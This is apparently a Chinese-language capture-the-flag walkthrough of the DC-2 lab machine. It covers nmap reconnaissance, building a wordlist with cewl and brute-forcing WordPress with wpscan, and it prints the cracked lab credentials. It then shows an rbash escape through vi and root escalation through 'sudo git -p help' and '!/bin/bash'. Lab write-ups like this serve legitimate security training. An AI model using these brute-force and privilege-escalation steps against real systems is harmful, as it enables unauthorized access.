DC-2渗透
前言.靶场搭建
同样的放在一个网段就行,依旧是nat
一.信息搜集
a.探测目标主机的ip地址
ifconfig

攻击机的ip为
192.168.162.128
然后扫描这个网段
nmap -sn 192.168.162.0/24
常用参数
-sS:TCP SYN扫描(只检测端口状态)
-sV:版本检测(检测端口状态+服务版本)
-A:全面扫描(包含版本检测+OS检测+脚本扫描)
-p- 是扫描全部端口0~65535

靶机IP为
192.168.162.130
b.探测端口
nmap -sV -p- 192.168.162.130

发现了一个80和一个7744端口
7744开放的是shh,是个非标准端口,我们去看看这个web服务是啥用的
但是发现连不上,非常奇怪,全面扫一下看看
nmap -A -p- 192.168.162.130


Did not follow redirect to http://dc-2/
未遵循重定向到http://dc-2/
发现是web服务会重定向到dc-2的域名,我们需要手动改本地的dns将域名解析指向靶机ip
echo "192.168.162.130 dc-2" | sudo tee -a /etc/hosts
顺利进入

发现页面有一个flag1

Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.
翻译一下,发现他应该是让我们使用cewl工具生成字典而不是用kali自带的通用字典来暴力破解
c.web指纹
但是我们还是照样先看一些web指纹
whatweb 192.168.162.130
结果
┌──(kali㉿kali)-[~]
└─$ whatweb 192.168.162.130
ERROR Opening: https://192.168.162.130 - Connection refused - connect(2) for "192.168.162.130" port 443
http://192.168.162.130 [301 Moved Permanently] Apache[2.4.10], Country[RESERVED][ZZ], HTTPServer[Debian Linux][Apache/2.4.10 (Debian)], IP[192.168.162.130], RedirectLocation[http://dc-2/]
http://dc-2/ [200 OK] Apache[2.4.10], Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.10 (Debian)], IP[192.168.162.130], JQuery[1.12.4], MetaGenerator[WordPress 4.7.10], PoweredBy[WordPress], Script[text/javascript], Title[DC-2 – Just another WordPress site], UncommonHeaders[link], WordPress[4.7.10]
┌──(kali㉿kali)-[~]
| 关键信息 | 详情 | 渗透意义 |
|---|---|---|
| CMS | WordPress 4.7.10 | 已知版本存在多个漏洞 |
| 服务器 | Apache 2.4.10 (Debian) | 标准配置,没有明显弱点。 |
| 重定向 | http://192.168.162.130 → http://dc-2/ |
需要配置本地 DNS 解析才能正常访问。 |
| 前端技术 | jQuery 1.12.4 | 无直接渗透价值。 |
d.目录扫描
dirsearch -u 192.168.162.130 -e *

扫了一堆没啥用的感觉,本来以为有一个配置文件暴露出来了,结果有加固,返回空,还是按照flag1走吧,按照扫出来的登录目录去爆破(别问为什么没有用cms漏洞作为突破口,问就是试了很多次都没成功,无论是REST API内容注入还是未认证RCE都没成其他的)
目录
14:11:14] Starting:
[14:11:19] 403 - 301B - /.ht_wsr.txt
[14:11:19] 403 - 304B - /.htaccess.bak1
[14:11:19] 403 - 306B - /.htaccess.sample
[14:11:19] 403 - 304B - /.htaccess.orig
[14:11:19] 403 - 304B - /.htaccess.save
[14:11:19] 403 - 304B - /.htaccess_orig
[14:11:19] 403 - 305B - /.htaccess_extra
[14:11:19] 403 - 302B - /.htaccess_sc
[14:11:19] 403 - 302B - /.htaccessBAK
[14:11:19] 403 - 303B - /.htaccessOLD2
[14:11:19] 403 - 302B - /.htaccessOLD
[14:11:19] 403 - 294B - /.htm
[14:11:19] 403 - 295B - /.html
[14:11:19] 403 - 304B - /.htpasswd_test
[14:11:19] 403 - 300B - /.htpasswds
[14:11:19] 403 - 301B - /.httr-oauth
[14:11:16] 403 - 294B - /.php
[14:11:16] 403 - 295B - /.php3
[14:11:25] 200 - 18KB - /index.php
[14:11:26] 404 - 50KB - /index.php/login/
[14:11:26] 200 - 7KB - /license.txt
[14:11:30] 200 - 3KB - /readme.html
[14:11:31] 403 - 304B - /server-status/
[14:11:31] 403 - 303B - /server-status
[14:11:35] 301 - 321B - /wp-admin -> http://192.168.162.130/wp-admin/
[14:11:35] 301 - 323B - /wp-content -> http://192.168.162.130/wp-content/
[14:11:35] 200 - 0B - /wp-content/
[14:11:35] 200 - 84B - /wp-content/plugins/akismet/akismet.php
[14:11:35] 500 - 0B - /wp-content/plugins/hello.php
[14:11:35] 200 - 0B - /wp-config.php
[14:11:35] 200 - 1B - /wp-admin/admin-ajax.php
[14:11:35] 301 - 324B - /wp-includes -> http://192.168.162.130/wp-includes/
[14:11:35] 302 - 0B - /wp-admin/ -> http://dc-2/wp-login.php?redirect_to=http%3A%2F%2F192.168.162.130%2Fwp-admin%2F&reauth=1
[14:11:35] 200 - 4KB - /wp-includes/
[14:11:35] 500 - 0B - /wp-includes/rss-functions.php
[14:11:35] 200 - 0B - /wp-cron.php
[14:11:35] 200 - 1KB - /wp-login.php
[14:11:35] 500 - 4KB - /wp-admin/setup-config.php
[14:11:35] 302 - 0B - /wp-signup.php -> http://dc-2/wp-login.php?action=register
[14:11:35] 200 - 528B - /wp-admin/install.php
[14:11:35] 405 - 42B - /xmlrpc.php
二.外围打点
wp-login.php

a.字典
根据flag1用cewl爬取网站信息然后生成对应字典
使用指南
https://www.freebuf.com/articles/network/190128.html
命令
cewl http://dc-2/ -w dict.txt
b.扫用户
然后用wpscan来对word press暴力破解
wpscan --url dc-2 -e u
wpscan 是专门针对 WordPress 的扫描工具,它支持通过 xmlrpc.php 接口进行快速爆破
扫到三个用户

归纳的name.txt
admin
jerry
tom
c.爆破
然后我们还是通过这个工具,用户名用上面那三个,密码字典用刚才爆破的
wpscan --url dc-2 -U name.txt -P dict.txt
成功爆破了俩个,那我们登录一下

jerry / adipiscing
tom / parturient

找到flag,查看一下

flag2

三.内网渗透
a.ssh登录
提示了我们不能直接通过cms漏洞拿到shell了,让我们找另一种方法,那进来了不能用cms,这个端口又不太能用了,那我们只能对剩下的哪个端口接着爆破了,因为我们不是拿到了俩个用户的账号密码嘛,我们就试一下能不能进去
ssh jerry@192.168.162.130 -p 7744

jerry被狠狠的拒绝了(如果你要问我第三个是什么的话,我只会告诉你是admin123)
然后试一下tom的
ssh tom@192.168.162.130 -p 7744
tom不亏是全国捕鼠冠军(bushi)

刚想看一下whoami,看看这个冠军水分,结果发现高看他了,权限低的没眼看,被rbash限制了

正常来说我们现在就要进行rabash逃逸了,常见的方法归纳在另一个文档了
b.rbash逃逸
进来之后先看一下哪些可以操作吧
echo $PATH
#用来显示当前用户的所有命令搜索路径
echo /home/tom/usr/bin/*
#列一下我们能用的命令

四个命令唯一可以用的只有vi编辑器的命令,这里可以用vi设置shell绕过rbash然后再设置环境变量添加命令
vi
#ESC
:set shell=/bin/bash
#ENTER
:shell
#ENTER
升级成bash了,无法cat是因为环境变量的问题,我们添加一下就好了

可以了,拿到flag3,翻译一下就是得把jerry su了,su是linux切换用户的命令

su完先找flag

结果搞了大半天,只能看flag4.txt,其他都没权限,我们看一下

这提示我们还要提权,还是用git命令来完成最后的任务
c.sudo提权+分页
那我们还是尝试一下suid提权,首先先找一下有suid权限的二进制文件,毕竟这个是最简单的,但是发现没有,但是有sudo,可以尝试一下sudo提权
find / -user root -perm -4000 -print 2>/dev/null
find |
查找命令 | Linux 下的文件搜索工具。 |
|---|---|---|
/ |
从根目录开始搜索 | 即搜索整个文件系统。 |
-user root |
文件所有者是 root | 只查找属于 root 用户的文件。 |
-perm -4000 |
权限包含 SUID (setuid) 位 | -4000 是 SUID 的权限位掩码。-perm -4000 表示查找权限中包含 4000(即设置了 SUID)的文件。 |
-print |
打印结果 | 将找到的文件路径输出到屏幕。 |
2>/dev/null |
将错误输出重定向到空设备 | 把 Permission denied(权限拒绝)等错误信息丢弃,让输出更干净。 |

| SUID 程序 | 风险/用途 |
|---|---|
/usr/bin/sudo |
标准提权工具。如果你知道当前用户的密码,可以尝试 sudo -l 查看可执行的命令。 |
/usr/sbin/exim4 |
高风险。Exim 邮件服务器历史上存在多个本地提权漏洞(如 CVE-2016-1531),如果版本匹配,可直接提权至 root。 |
sudo -l

发现jerry用户被允许以root权限无密码运行
sudo 允许 jerry 以 root 身份运行 git,而 git 有一个非常实用的功能,就是可以通过 --help 选项调用 less 或 man 分页器,进而利用分页器执行 !/bin/bash 来获得 root shell。
sudo git --help

但是发现这边直接进入了帮助信息,没有分页器,所以我们想办法强制分页一下然后再提权
sudo git -p help
!/bin/bash

提权成功,去读最终的flag,well done


